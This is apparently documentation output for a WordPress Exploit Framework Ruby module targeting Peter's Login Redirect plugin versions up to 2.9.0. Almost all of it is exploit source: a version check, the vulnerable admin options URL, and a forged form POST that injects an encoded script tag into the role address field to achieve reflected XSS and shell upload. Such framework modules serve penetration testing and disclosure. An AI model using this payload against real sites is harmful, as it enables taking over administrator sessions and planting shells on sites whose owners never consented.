class Wpxf::Exploit::PetersLoginRedirectReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::StagedReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'Peter\'s Login Redirect <= 2.9.0 Reflected XSS Shell Upload', author: [ 'Yorick Koster', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8602'], ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html'] ], date: 'Aug 15 2016' ) register_options([ StringOption.new( name: 'user_role', desc: 'The user role to store the script against', default: 'Administrator', required: true ) ]) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 32 def check check_plugin_version_from_changelog('peters-login-redirect', 'readme.txt', '2.9.1') end
initial_script()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 44 def initial_script create_basic_post_script( vulnerable_url, 'rul_role' => user_role, 'rul_role_address' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>", 'rul_role_logout' => '', 'rul_role_submit' => 'Add role rule' ) end
user_role()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 36 def user_role datastore['user_role'].downcase end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb, line 40 def vulnerable_url normalize_uri(wordpress_url_admin, 'options-general.php?page=wplogin_redirect.php') end